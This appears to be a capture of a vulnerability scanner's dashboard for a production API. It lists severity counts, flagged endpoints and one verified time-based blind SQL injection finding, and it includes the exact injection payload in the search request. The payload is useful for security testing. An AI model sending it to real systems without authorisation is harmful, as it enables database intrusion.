Scan in progress
Target: api.production.v2
Started: 2026-10-21T18:00:23ZProgress78%
Critical★
3
High
12
Medium
45
Low
108
Active Findings
Endpoint: /api/v2/users/search
Endpoint: /api/v2/accounts/{id}
Endpoint: Header: Authorization: Bearer
Endpoint: /api/v2/auth/login
VULN_INSPECTOR_TTY1
EXPLOIT VERIFIED: SQL Injection (Time-Based Blind)
CWE-89: Improper Neutralization of Special Elements used in a SQL Command
CVSS Score: 9.8 CRITICAL
-- REQUEST PAYLOAD --
GET /api/v2/users/search?q=admin'); WAITFOR DELAY '0:0:10'--
Host: api.production.v2
User-Agent: WalrusSec-Scanner/4.2.0
Accept: application/json
Authorization: Bearer [REDACTED]
-- RESPONSE HEADERS --
HTTP/1.1 500 Internal Server Error
Date: Wed, 21 Oct 2026 18:13:00 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 142
Connection: close